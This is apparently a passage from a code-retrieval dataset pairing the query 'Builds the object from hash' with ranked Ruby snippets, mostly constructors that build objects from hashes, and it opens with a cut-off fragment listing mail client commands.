"text": "def get_commands\n opts = %w{ test testend archive delete markread markunread spam star unstar open header savecontact connect connectas compose refresh }\n current_component = @vim.current_component\n case current_component\n when @lb2\n opts.push *%w{ select nextm prev nextunread prevunread savecontact header }\n when @tv\n opts.push *%w{ saveas reply replyall nextm prev nextunread prevunread munpack }\n end\n opts\nend",
"title": ""
}
] |
b33e8ba043dc6a77b4423b3af67ae194 | Builds the object from hash | [
{
"docid": "7da411a70b9c5b35752df000e9754ff1",
"score": "0.0",
"text": "def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end",
"title": ""
}
] | [
{
"docid": "da5b02ceb9bf503ea3a6f61c2d096a77",
"score": "0.8011074",
"text": "def build(hash)\n obj = new\n hash.each_pair do |k,v|\n obj[k] = v if variables[k]\n end\n return obj\n end",
"title": ""
},
{
"docid": "795e2d6be19d924e231b866fbebec323",
"score": "0.7470833",
"text": "def build_from_hash(attributes)\n\n end",
"title": ""
},
{
"docid": "642a75510491269bb6bb2c0f3c018645",
"score": "0.7457607",
"text": "def build_from_hash(hash)\n instance = self.new\n\n # Add the instance attributes dynamically from the hash. If the attribute\n # does not already exist, then don't re-add the attribute class and\n # variable, just set it with the value from the hash\n hash.keys.each do |key|\n class_eval { attr_accessor key } unless instance.methods.include?(key.to_sym)\n instance.instance_variable_set \"@#{key}\", hash[key]\n end\n\n instance\n end",
"title": ""
},
{
"docid": "4148d6d2f35e17cd5e2402c995c65fbb",
"score": "0.7256629",
"text": "def build(hash, track_changes = true)\n resource = fields.each_with_object(new) do |field, r|\n value = hash.fetch(field.to_s, hash[field.to_sym])\n r.send(\"#{field}=\", value)\n end\n resource.clear_changes! unless track_changes\n resource\n end",
"title": ""
},
{
"docid": "e0bba473e844acb24bc2cbf33db7abd2",
"score": "0.72455454",
"text": "def initialize hash\n @hash = hash\n end",
"title": ""
},
{
"docid": "9e8acb0e990b4e8eeaec7fe39bf33f29",
"score": "0.70060325",
"text": "def build(params)\n return new(params) if params.is_a?(Hash)\n raise(\"unexpected parameter, expected Hash, received #{params.class}\")\n end",
"title": ""
},
{
"docid": "35f6ab0bce4a46f7d106ed3b110d11f6",
"score": "0.6973257",
"text": "def initialize( hash )\n\t\t\t@hash = hash.dup\n\t\t\t@dirty = false\n\t\tend",
"title": ""
},
{
"docid": "93f5d97d6eb319a146f5bc65cdbf8c31",
"score": "0.6955014",
"text": "def initialize(a_hash)\n from_h(a_hash)\n end",
"title": ""
},
{
"docid": "308069d412c19a19caffcf9d49fe6012",
"score": "0.69459796",
"text": "def initialize\n\t\t\t@hash = {}\n\t\tend",
"title": ""
},
{
"docid": "edf630cffe3ac8cbc7e65c639930af3c",
"score": "0.69398683",
"text": "def initialize(hash)\n @hash = hash\n @converted = {}\n end",
"title": ""
},
{
"docid": "ffcc5a1dd10918a28449788c7474f49d",
"score": "0.69363195",
"text": "def initialize(hash)\n @short_code = hash[\"short_code\"]\n @name = hash[\"name\"]\n @id = hash[\"id\"]\n end",
"title": ""
},
{
"docid": "86f968aae1839618b4af728b3e7d1113",
"score": "0.6917627",
"text": "def initialize(hash)\n super(hash)\n end",
"title": ""
},
{
"docid": "3b886cdaee4a2c7f8867bada69cc6eb8",
"score": "0.6872358",
"text": "def initialize\n @h = new_hash\n end",
"title": ""
},
{
"docid": "b4db400cc8db7093f003c63b328146ad",
"score": "0.6796184",
"text": "def new_from_hash(hash)\n if hash == nil\n self.class.new.assign(self)\n else\n hash_obj = hash\n if hash.instance_of?(Hash)\n hash_obj = self.class.new\n merge_hash_into_object(hash, hash_obj)\n end\n instance = self.class.new\n object_assign(instance, hash_obj)\n end\n end",
"title": ""
},
{
"docid": "e2226d59fc661c90960b7919b761d425",
"score": "0.6783521",
"text": "def initialize(hash={})\n @hash = hash\n end",
"title": ""
},
{
"docid": "b76a2216b0f3a7876d85b3302e77976f",
"score": "0.67575246",
"text": "def initialize\n @hash = {}\n end",
"title": ""
},
{
"docid": "b76a2216b0f3a7876d85b3302e77976f",
"score": "0.67575246",
"text": "def initialize\n @hash = {}\n end",
"title": ""
},
{
"docid": "dcb273ed88575af7b0f0308f89b44a9b",
"score": "0.67560464",
"text": "def initialize(hash)\r\n hash.each { |k, v|\r\n # Create getters and setters\r\n self.class.attr_accessor(k)\r\n # Set value for created variable\r\n self.send(\"#{k}=\", v)\r\n }\r\n self.class.all.push(self)\r\n end",
"title": ""
},
{
"docid": "8b3ee9b6195ae2997a954974736e1e99",
"score": "0.67514306",
"text": "def build!(hash)\n hash.must(::Hash) { raise ArgumentError, \"#{self} expects Hash, but got #{hash.class}\" }\n\n if hash.size != variables.size\n keys1 = variables.keys\n keys2 = hash.keys.map(&:to_s)\n minus = (keys1 - keys2).map{|i| \"-#{i}\"}\n plus = (keys2 - keys1).map{|i| \"+#{i}\"}\n \n msg = \"#{self} expects #{variables.size}, but got #{hash.size} (%s)\" % (minus + plus).join(\",\")\n raise Typed::SizeMismatch, msg\n end\n\n # 'build' just ignore unknown fields, but 'build!' raise errors\n obj = new\n hash.each_pair do |k,v|\n obj[k] = v\n end\n return obj\n end",
"title": ""
},
{
"docid": "1de2ef1e16610e7a67a1fe87c220dc4e",
"score": "0.67136854",
"text": "def initialize(hash)\n @cw_id = hash[\"cw_id\"]\n @cik = hash[\"cik\"]\n @name = hash[\"company_name\"]\n @irs_number = hash[\"irs_number\"]\n @sic_code = hash[\"sic_code\"]\n @industry = hash[\"industry_name\"]\n @sic_sector = hash[\"sic_sector\"]\n @sector_name = hash[\"sector_name\"]\n @source_type = hash[\"source_type\"]\n @address = hash[\"raw_address\"]\n @country = hash[\"country_code\"]\n @state = hash[\"subdiv_code\"]\n @top_parent_id = hash[\"top_parent_id\"]\n @num_parents = hash[\"num_parents\"]\n @num_children = hash[\"num_children\"]\n @max_year = hash[\"max_year\"]\n @min_year = hash[\"min_year\"]\n end",
"title": ""
},
{
"docid": "594b7fbcfa65b73a20a32891cd38b894",
"score": "0.66667664",
"text": "def from_hash(hash)\n instance = allocate\n instance.instance_variable_set :@attributes, hash.freeze\n instance\n end",
"title": ""
},
{
"docid": "deac5dc6fa5c5e7b80b0b5b6ce57dd7d",
"score": "0.6623634",
"text": "def from_hash(hash)\n hash = DEFAULTS.merge(hash)\n hash['spdx_id'] = hash.delete('spdx-id')\n ordered_array = hash.values_at(*members.map(&:to_s))\n new(*ordered_array)\n end",
"title": ""
},
{
"docid": "2b24002b0d44a166a61c44a7ab761c82",
"score": "0.661206",
"text": "def initialize(hash=nil)\n @table = HashWithIndifferentAccess.new\n\n for k,v in hash\n @table[k] = v\n new_ostruct_member(k)\n end if hash\n end",
"title": ""
},
{
"docid": "36d3df4818e3cb26ce3bf3bf3ce12847",
"score": "0.66098964",
"text": "def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"title": ""
},
{
"docid": "36d3df4818e3cb26ce3bf3bf3ce12847",
"score": "0.66098964",
"text": "def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"title": ""
},
{
"docid": "08214ecc30b85c1c815edc660af833d9",
"score": "0.6591922",
"text": "def initialize(hash)\n @hash = hash\n @data = resourcify_data\n end",
"title": ""
},
{
"docid": "9f657d681695658b6684a535d474cade",
"score": "0.65713006",
"text": "def from_hash hash\n @id= hash['id']\n\n @admin= hash['admin']\n @username= hash['username']\n @timezone= hash['timezone']\n @email_address= hash['email_address']\n\n @password = nil\n\n @created_at= DateTime.parse(hash['created_at'])\n @updated_at= DateTime.parse(hash['updated_at'])\n end",
"title": ""
},
{
"docid": "2471c2f681ad433f0bf38237c07e2a84",
"score": "0.6547411",
"text": "def hash_to_obj hash\n OpenStruct.new(hash) rescue raise ConfigError, \"Can't convert setup to object\"\n end",
"title": ""
},
{
"docid": "19fc6d45916d96b8cad2b820314d272d",
"score": "0.6524743",
"text": "def initialize(hash)\n load_hash(hash)\n end",
"title": ""
},
{
"docid": "8e1b037a73b6a889292b5bc368ad4016",
"score": "0.6524143",
"text": "def from_hash( h)\n\t\th.each { |name,attributes|\n\t\t\tklass = Klass.new\n\t\t\tklass.from_hash( { name => attributes } )\n\t\t\tself.add_class( klass)\n\t\t}\n\n\t\t# this is an experiment in handling \"through\" attributes\n\t\t# i.e. enriching the model with the join classes\n\tend",
"title": ""
},
{
"docid": "0901c4843702588e5a1a8eca17740d4c",
"score": "0.6513636",
"text": "def initialize(*args)\n super\n # hash = {}\n end",
"title": ""
},
{
"docid": "65d2b6277a5876655eea62a1f4301be1",
"score": "0.650189",
"text": "def build_object(resp)\n return resp unless resp.respond_to?(:merge)\n @build_object ||= final_object_class.new(resp.merge(additional_hash_to_serialize_after_response))\n end",
"title": ""
},
{
"docid": "daa8820df279d3f92cca9812da39e13e",
"score": "0.6498057",
"text": "def from_hash(hash)\n ordered_array = hash.values_at(*members.map(&:to_s))\n new(*ordered_array)\n end",
"title": ""
},
{
"docid": "26d5d55a721fd89571c297041fa445b2",
"score": "0.6485853",
"text": "def __convert hash #:nodoc:\n instance = self.class.new\n hash.each do |k, v|\n k = k.to_s if !k.respond_to?(:to_sym) && k.respond_to?(:to_s)\n instance.new_ostruct_member k\n if v.is_a?(Hash)\n v = v[\"type\"] == \"hash\" ? v[\"contents\"] : __convert(v)\n elsif v.is_a?(Array)\n v = v.map{|e| e.instance_of?(Hash) ? __convert(e) : e}\n end\n instance.send \"#{k}=\".to_sym, v\n end\n instance\n end",
"title": ""
},
{
"docid": "72a6cde0b55bbf4f6b79487afde63087",
"score": "0.6483371",
"text": "def initialize(hash)\n\t\t@id = hash['id']\n\t\t@first_name = hash['first_name']\n\t\t@last_name = hash['last_name']\n\t\t@mentor = hash['mentor']\n\tend",
"title": ""
},
{
"docid": "63a0a7ebe5b5f250d4cc1419f4bb1905",
"score": "0.6475685",
"text": "def initialize(hash={})\n @name = validate_name(hash[:name])\n @description = hash[:description]\n @snmp_opts = hash[:snmp_opts]\n\n save # Save a copy of self to Redis on creation\n end",
"title": ""
},
{
"docid": "35a104299102ee5b6b6b98658a29cd95",
"score": "0.6459916",
"text": "def initialize\n @hash_dict = {}\n end",
"title": ""
},
{
"docid": "b44736e11832a0f3fdf5cab95150e785",
"score": "0.6454491",
"text": "def initialize(hash=nil)\n @attributes = hash\n @attributes ||= {}\n end",
"title": ""
},
{
"docid": "055c5e523a3b240421e2baebd56722c7",
"score": "0.6440182",
"text": "def initialize(hash={})\n self.init_attrs_from_hash(hash)\n end",
"title": ""
},
{
"docid": "7bcdba868bcd3e4865033e3aa494f83d",
"score": "0.6434778",
"text": "def from_hash(hash)\n apply_nested_hash(hash)\n end",
"title": ""
},
{
"docid": "6c57291c1cd1c90c23932a350c446f37",
"score": "0.6401363",
"text": "def initialize(hash)\n # @id = hash[\"id\"]\n # @street_address = hash[\"street_address\"]\n # @city = hash[\"city\"]\n # @state = hash[\"state\"]\n # @zipcode = hash[\"zipcode\"]\n # @country = hash[\"country\"]\n\n #add in correct details\n end",
"title": ""
},
{
"docid": "6a61e4c029093290c6921947b86de03f",
"score": "0.63977015",
"text": "def from_hash(hash)\n @data_object.user_acc_name = hash['user_acc_name']\n @data_object.user_affiliate = hash['user_affiliate']\n @user_over_13 = hash['user_over_13']\n\n contact.from_hash(hash)\n end",
"title": ""
},
{
"docid": "9a6a5b3931101985e9048b75b48cd65d",
"score": "0.6396885",
"text": "def initialize(hash)\n @name = hash[\"campaign\"] #decided to change it to \"name\" since this is the campaign class\n date_elements = hash[\"date\"].split(\"/\") #date is being passed in as a string, need this array to create the Date object in the next line\n @date = Date.new(date_elements[2].to_i + 2000, date_elements[0].to_i, date_elements[1].to_i) #added 2000 to year since the program was considering it as the year 15; this creates the date object\n @spend = hash[\"spend\"].to_f #use .to_f to make sure spend comes in as a float instead of a string\n @impressions = hash[\"impressions\"].to_i #need it as an integer for counting purposes later\n @actions = JSON.parse(hash[\"actions\"])#ensures that each action comes in as an array instead of a string\n @@all << self #shovels it into the all array\n end",
"title": ""
},
{
"docid": "49db2f1c927dc53551a32f83f627f1ca",
"score": "0.63910425",
"text": "def initialize(hash)\n hash.each do |k, v|\n self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\")\n end\n @id = hash[\"id\"]\n end",
"title": ""
},
{
"docid": "d722d681bda6b668af187f65a4f666f8",
"score": "0.63720834",
"text": "def initialize (hash)\n hash.each {|key, value|\n self.class.attr_accessor(key)\n self.send((\"#{key}=\"), value)\n }\n @@all << self\n end",
"title": ""
},
{
"docid": "7ad0d039665d31c9492cf1212f38e5ed",
"score": "0.6363958",
"text": "def initialize(hash={})\n @data = Hash.new\n hash.each do |key, value|\n self[key] = value\n end\n end",
"title": ""
},
{
"docid": "cb6101270f632a546f16cc674f5cdb17",
"score": "0.63597506",
"text": "def create_from_hash(hash, opts={})\n create_opts = update_or_create_options(hash, opts)\n create { |instance| instance.set(create_opts) }\n end",
"title": ""
},
{
"docid": "161bf6ca7532ffaeb65f5b63a412020e",
"score": "0.6313429",
"text": "def initialize(hash={})\n # assign the attributes here (???)\n hash.each do |k, v| # name = id, name, etc.\n self.send(\"#{k}=\", v)\n # self.k = v # there's no '.k' method\n #binding.pry\n end\n end",
"title": ""
},
{
"docid": "9156d5fcefc85096d0aa315e35cb2001",
"score": "0.6295958",
"text": "def initialize(hash) #.new\n @name = hash[:name][0]\n @region = hash[:region]\n @population = hash[:population]\n @capital = hash[:capital]\n @flag_link = hash[:flag_link]\n @@all << self\n #binding.pry\n end",
"title": ""
},
{
"docid": "ba3414ed212977fb66cd2feeb262a974",
"score": "0.62923384",
"text": "def initialize(hash = {})\n super(hash)\n\n @action = extract_value(hash, :action)\n @clientId = extract_value(hash, :clientId)\n @clientIdAlias = extract_value(hash, :clientIdAlias)\n @clientIdAliasUsed = extract_boolean_value(hash, :clientIdAliasUsed)\n @expiresAt = extract_integer_value(hash, :expiresAt)\n @subject = extract_value(hash, :subject)\n @scopes = extract_value(hash, :scopes)\n @existent = extract_boolean_value(hash, :existent)\n @usable = extract_boolean_value(hash, :usable)\n @sufficient = extract_boolean_value(hash, :sufficient)\n @refreshable = extract_boolean_value(hash, :refreshable)\n @responseContent = extract_value(hash, :responseContent)\n @properties = extract_array_value(hash, :scopes) do |element|\n Authlete::Model::Property.parse(element)\n end\n end",
"title": ""
},
{
"docid": "09860b52c433829ca8309ec7833567ed",
"score": "0.62915224",
"text": "def initialize( hash )\n\t\t@object_classes = self.parse_objectclasses( hash['objectClasses'] || [] )\n\t\t@attribute_types = self.parse_attribute_types( hash['attributeTypes'] || [] )\n\t\t@ldap_syntaxes = self.parse_ldap_syntaxes( hash['ldapSyntaxes'] || [] )\n\t\t@matching_rules = self.parse_matching_rules( hash['matchingRules'] || [] )\n\t\t@matching_rule_uses = self.parse_matching_rule_uses( hash['matchingRuleUse'] || [] )\n\tend",
"title": ""
},
{
"docid": "40b3012826d289181b2141d02465f39f",
"score": "0.62704456",
"text": "def from_hash(hash)\n super(hash)\n verify\n end",
"title": ""
},
{
"docid": "2d868b9116b417ddced7cc594ce1dfb2",
"score": "0.62703115",
"text": "def objects_from_serialized_hash(hash) # :nodoc:\n klass, attributes = Helpers.to_class_and_attributes(hash)\n klass.from_seedable_attributes(attributes)\n end",
"title": ""
},
{
"docid": "cfbe692b72a53c8d6b2fcf846579e0a7",
"score": "0.62622243",
"text": "def initialize (hash)\n @name = hash [:name]\n @color = hash [:color]\n @robots = hash [:robots]\n @moon_count = hash [:moon_count]\n @cats = hash [:cats]\n #@solar_rotation = solar_rotation .....I dont really understand what a solar rotation is.... it's confusing.....\n @distance_from_the_sun = hash [:distance_from_the_sun]\n end",
"title": ""
},
{
"docid": "c49797348a5e101a0b5a8e14ead454ed",
"score": "0.62515473",
"text": "def initialize(hash = nil)\n @arguments = 0\n return if hash.nil?\n @name = hash['name']\n @arguments = hash['arguments']\n end",
"title": ""
},
{
"docid": "e86730cd710f9e0c56289c7a0147b005",
"score": "0.6249854",
"text": "def _from_hash(hsh)\n hsh.each do |k, v|\n v = restore_hash(v)\n v = v.map { |iv| restore_hash(iv) } if v.is_a?(Array)\n send(:\"#{k}=\", v)\n end\n self\n end",
"title": ""
},
{
"docid": "c7b36c4cf47254ff691242b0282d62e8",
"score": "0.6242987",
"text": "def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"title": ""
},
{
"docid": "c7b36c4cf47254ff691242b0282d62e8",
"score": "0.6242987",
"text": "def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"title": ""
},
{
"docid": "3df64a5d51ac9c929160272bb7d46e93",
"score": "0.62426233",
"text": "def initialize(hash={})\n self.attributes = hash\n end",
"title": ""
},
{
"docid": "a11999f644ca8a89d15495da1fd3a443",
"score": "0.62408733",
"text": "def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @version, @cost, @salt, @checksum = split_hash(self)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"title": ""
},
{
"docid": "a11999f644ca8a89d15495da1fd3a443",
"score": "0.62407595",
"text": "def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @version, @cost, @salt, @checksum = split_hash(self)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"title": ""
},
{
"docid": "d4206889cdb0f039d675f84b547fa2cd",
"score": "0.62321323",
"text": "def build(base, object, type = nil, selected_fields = nil)\n return object unless object.is_a?(Hash)\n if _loading?\n Factory.from_db(klass, object, nil, selected_fields)\n else\n Factory.build(klass, object)\n end\n end",
"title": ""
},
{
"docid": "a6743ed42b1db4326117fc823a16e0e6",
"score": "0.62298346",
"text": "def initialize(hash)\n super(hash)\n @size = hash[\"size\"]\n end",
"title": ""
},
{
"docid": "8d05dffd521269f152f5c27f09a7d980",
"score": "0.622897",
"text": "def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @cost, @salt, @digest = split_hash(self.to_s)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"title": ""
},
{
"docid": "f421b9de34cc3fb996287175c40f5087",
"score": "0.622756",
"text": "def instantiate hash, extra_attributes={}\n return hash unless hash.kind_of? Hash\n# init = hash.values_at(*@singulars).compact.first\n init = hash[@singular]\n inits = hash[@plural]\n if init\n new init.merge extra_attributes\n elsif inits\n inits.map {|each| new each.merge extra_attributes}\n else\n hash\n end\n end",
"title": ""
},
{
"docid": "6bf4c1077e210738bccaccb013f4b4d5",
"score": "0.62245685",
"text": "def from_hash(values)\n @data_object.team_challenge = values['team_challenge']\n @data_object.team_level = values['team_level']\n @data_object.team_name = values['team_name']\n\n# @mgr_email = values['mgr_email']\n\n names = values['tm_name']\n\n TeamMember::MEMBERS_PER_TEAM.times do |i|\n if names[i].empty?\n @members[i].clear\n else\n @members[i].tm_name = names[i]\n @members[i].tm_grade = values['tm_grade'][i].to_i\n @members[i].tm_dob_mon = values['tm_dob_mon'][i]\n @members[i].tm_dob_day = values['tm_dob_day'][i]\n @members[i].tm_dob_year = values['tm_dob_year'][i]\n @members[i].tm_sex = values['tm_sex'][i]\n end\n end\n end",
"title": ""
},
{
"docid": "05f465bb6a994caab702ea28df69e032",
"score": "0.62217826",
"text": "def hash\n { hash: @hash, hashType: @hash_type }\n end",
"title": ""
},
{
"docid": "62074474ab76d39a7e3abcc0fb96d2a8",
"score": "0.6218501",
"text": "def initialize(raw_hash)\n raise Errors::InvalidHash, 'invalid hash' unless valid_hash?(raw_hash)\n\n replace(raw_hash)\n\n @cost, @salt, @digest = split_hash(to_s)\n end",
"title": ""
},
{
"docid": "6be88f8fdb4bbefffbacfa0d68c0929a",
"score": "0.6210329",
"text": "def initialize( confighash={} )\n\t\tihash = internify_keys( untaint_values(confighash) )\n\t\tmergedhash = DEFAULTS.merge( ihash, &HashMergeFunction )\n\n\t\t@struct = ConfigStruct.new( mergedhash )\n\t\t@create_time = Time.now\n\t\t@name = nil\n\t\t@loader = nil\n\n\t\tsuper()\n\tend",
"title": ""
},
{
"docid": "d01eb7dde8298c18c7ec8f21423f29e0",
"score": "0.62091905",
"text": "def initialize(*args)\n @hash = HashWithIndifferentAccess.new(*args)\n end",
"title": ""
},
{
"docid": "c223280b1644aa166050ae79fa14d611",
"score": "0.620342",
"text": "def create(hash={})\n model = self.new(hash)\n model.save\n model\n end",
"title": ""
},
{
"docid": "0b4d8674627e2e321d3541de5dead033",
"score": "0.6201614",
"text": "def from_hash(hash:, klass:)\n validate_class_kit(klass)\n\n @hash_helper.indifferent!(hash)\n entity = klass.new\n attributes = @attribute_helper.get_attributes(klass)\n attributes.each do |attribute|\n key = attribute[:name]\n type = attribute[:type]\n\n #if the hash value is nil skip it\n next if hash[key].nil?\n\n value = if is_class_kit?(type)\n from_hash(hash: hash[key], klass: type)\n elsif type == Array\n hash[key].map do |array_element|\n if attribute[:collection_type].nil?\n array_element\n else\n if is_class_kit?(attribute[:collection_type])\n from_hash(hash: array_element, klass: attribute[:collection_type])\n else\n @value_helper.parse(type: attribute[:collection_type], value: array_element)\n end\n end\n end\n else\n hash[key]\n end\n\n entity.public_send(:\"#{key}=\", value)\n end\n\n entity\n end",
"title": ""
},
{
"docid": "4dc9a09db883989922685244d8ae90d1",
"score": "0.6178616",
"text": "def from_h(hash, converter = nil)\n instance = new\n\n hash.each do |k, v|\n v = convert(v, k, converter) if converter\n instance.instance_variable_set(:\"@#{k}\", v)\n end\n\n instance\n end",
"title": ""
},
{
"docid": "948462c405e1284cbd4992ab34725625",
"score": "0.6166234",
"text": "def initialize(hash_that_represents_json)\n\t\t@data = hash_that_represents_json\n\tend",
"title": ""
},
{
"docid": "91b2f04d405c2ab87deea0910214fed5",
"score": "0.61611027",
"text": "def hash_for_merging(hash)\n new_hash = { id: hash['message_id'].to_i,\n date: Time.at(hash['date'].to_i),\n from: User.new(hash['from'], @bot),\n chat: Chat.new(hash['chat'], @bot) }\n\n type = TYPES.find { |t| hash[t.to_s] }\n new_hash[type] = hash[type.to_s] # TODO: fail if type not found\n\n new_hash\n end",
"title": ""
},
{
"docid": "1d9d592cd852629d8445b27281e1b834",
"score": "0.6140086",
"text": "def initialize(hash)\n @header = Msg::Header.new(hash)\n @body = Msg::Body.new(content_is_json?, hash)\n end",
"title": ""
},
{
"docid": "d32ca861779f404d12645e66598e61f0",
"score": "0.6126761",
"text": "def build_resource(hash = {})\n self.resource = resource_class.new(hash)\n end",
"title": ""
},
{
"docid": "f03257da25dc677d9fa4cff5f2724b89",
"score": "0.61154264",
"text": "def initialize()\n @hash = {}\n @values = []\n end",
"title": ""
},
{
"docid": "bf70827451a1dce765c010a7a7b33603",
"score": "0.61059844",
"text": "def build\n fail \"Please provide a value for key, currently: #{key}\" if key.nil?\n\n if in_key\n { in_key.to_sym => { key => data } }\n else\n process_data\n transform_to_hash\n end\n end",
"title": ""
},
{
"docid": "738373d48fb8eb82e5c09953fa47b44b",
"score": "0.60980254",
"text": "def initialize(build)\n @build = build\n @hash = {}\n @already_run = []\n end",
"title": ""
},
{
"docid": "b131f69e018718787cd8ad0e485c54f7",
"score": "0.60971874",
"text": "def new_from_hash_marketplace(h)\n self.url = h\n h=h.split('/')\n h=h[h.size-2]\n self.original_id = h\n return self\n end",
"title": ""
},
{
"docid": "efaaa5c24fc205ae0e1c83bb14b1de91",
"score": "0.6090533",
"text": "def initialize(hash, type, dump)\n self.hash = hash\n self.type = type.to_sym\n self.dump = dump\n end",
"title": ""
},
{
"docid": "be742141acb4726eee1db27f71f44e7f",
"score": "0.6064119",
"text": "def initialize(hash_data, opts: {})\n @hsh = hash_data\n @opts = opts\n\n @title = @hsh[:title]\n @body = @hsh[:body_hash]\n end",
"title": ""
},
{
"docid": "2b1fa688effb69a7ecfb1dfc90ee04db",
"score": "0.6061236",
"text": "def initialize(hash)\n @color = hash[:color]\n @scent = hash[:scent]\n end",
"title": ""
},
{
"docid": "4246d1d0f726fc73a117e053d0ffad09",
"score": "0.6060324",
"text": "def initialize(hash = nil)\n hash.each { |key, value| self[key] = value } if !hash.nil? && hash.is_a?(Hash)\n end",
"title": ""
},
{
"docid": "b2bc59ad23ad829fb37642ade3ab5754",
"score": "0.60599816",
"text": "def create(hash)\n NotImplementedError\n end",
"title": ""
},
{
"docid": "fefc3a7c0498cbbd595ac525100a3896",
"score": "0.60420287",
"text": "def from_h(hash, converter = nil)\n instance = new\n\n hash.each do |k, v|\n v = instance.convert(v, k, converter) if converter\n instance.send(:\"#{k}=\", v)\n end\n\n instance\n end",
"title": ""
},
{
"docid": "e9043339467b472af8c390b5bad5c665",
"score": "0.6039776",
"text": "def init_jaxb_json_hash(_o)\n super _o\n @id = String.from_json(_o['id']) unless _o['id'].nil?\n @version = String.from_json(_o['version']) unless _o['version'].nil?\n @description = String.from_json(_o['description']) unless _o['description'].nil?\n @url = String.from_json(_o['url']) unless _o['url'].nil?\n @name = String.from_json(_o['name']) unless _o['name'].nil?\n @organization = Org::Apache::Archiva::Metadata::Model::Organization.from_json(_o['organization']) unless _o['organization'].nil?\n @issueManagement = Org::Apache::Archiva::Metadata::Model::IssueManagement.from_json(_o['issueManagement']) unless _o['issueManagement'].nil?\n @scm = Org::Apache::Archiva::Metadata::Model::Scm.from_json(_o['scm']) unless _o['scm'].nil?\n @ciManagement = Org::Apache::Archiva::Metadata::Model::CiManagement.from_json(_o['ciManagement']) unless _o['ciManagement'].nil?\n if !_o['licenses'].nil?\n @licenses = Array.new\n _oa = _o['licenses']\n _oa.each { | _item | @licenses.push Org::Apache::Archiva::Metadata::Model::License.from_json(_item) }\n end\n if !_o['mailingLists'].nil?\n @mailingLists = Array.new\n _oa = _o['mailingLists']\n _oa.each { | _item | @mailingLists.push Org::Apache::Archiva::Metadata::Model::MailingList.from_json(_item) }\n end\n if !_o['dependencies'].nil?\n @dependencies = Array.new\n _oa = _o['dependencies']\n _oa.each { | _item | @dependencies.push Org::Apache::Archiva::Metadata::Model::Dependency.from_json(_item) }\n end\n @incomplete = Boolean.from_json(_o['incomplete']) unless _o['incomplete'].nil?\n end",
"title": ""
},
{
"docid": "ae4e1ab318c36238f44c6e25a054f8ff",
"score": "0.603712",
"text": "def create_version_hash\n new_version = {}\n new_version['created'] = ''\n new_version['message'] = ''\n new_version['user'] = {}\n # user is #name, # address.\n new_version['user']['name'] = ''\n new_version['user']['address'] = ''\n new_version['state'] = {}\n new_version\n end",
"title": ""
},
{
"docid": "be41322c5cfee02e86920b463c601957",
"score": "0.6033585",
"text": "def create_from_hash hash\n values = values_from_hash hash\n unless obj = find(:first, :conditions => values)\n return nil if values[:id]\n obj = create!(values)\n raise ArgumentError, \"#{obj.errors.to_s}\" unless obj.errors.empty?\n end\n obj\n end",
"title": ""
},
{
"docid": "83814efedaf863c51e51f7944edae6bd",
"score": "0.6030829",
"text": "def initialize result_hash={}\n @result_hash = result_hash\n end",
"title": ""
},
{
"docid": "41b09dd3a9b74b25bc4e57bcfc2db550",
"score": "0.6023582",
"text": "def create_hash(&block); end",
"title": ""
},
{
"docid": "41b09dd3a9b74b25bc4e57bcfc2db550",
"score": "0.6023582",
"text": "def create_hash(&block); end",
"title": ""
},
{
"docid": "7edd400a3d068783e8d8333427a4672e",
"score": "0.6016123",
"text": "def initialize(attrs={})\n from_hash(attrs)\n end",
"title": ""
},
{
"docid": "311b85827b2c27fc7afe1e50a3512922",
"score": "0.60155296",
"text": "def build_request_data(hash)\n {\n :attributes! => {\n addressinfo: { \"xsi:type\" => \"ns2:Map\" },\n },\n username: @username,\n password: @password,\n addressinfo: {\n item: [\n { key: 'name', value: hash[:name] },\n { key: 'address1', value: hash[:address1] },\n { key: 'address2', value: hash[:address2] },\n { key: 'city', value: hash[:city] },\n { key: 'state', value: hash[:state] },\n { key: 'zip', value: hash[:zip] },\n { key: 'fflno', value: hash[:fflno] },\n { key: 'fflexp', value: hash[:fflexp] }\n ]\n },\n testing: @testing\n }\n end",
"title": ""
},
{
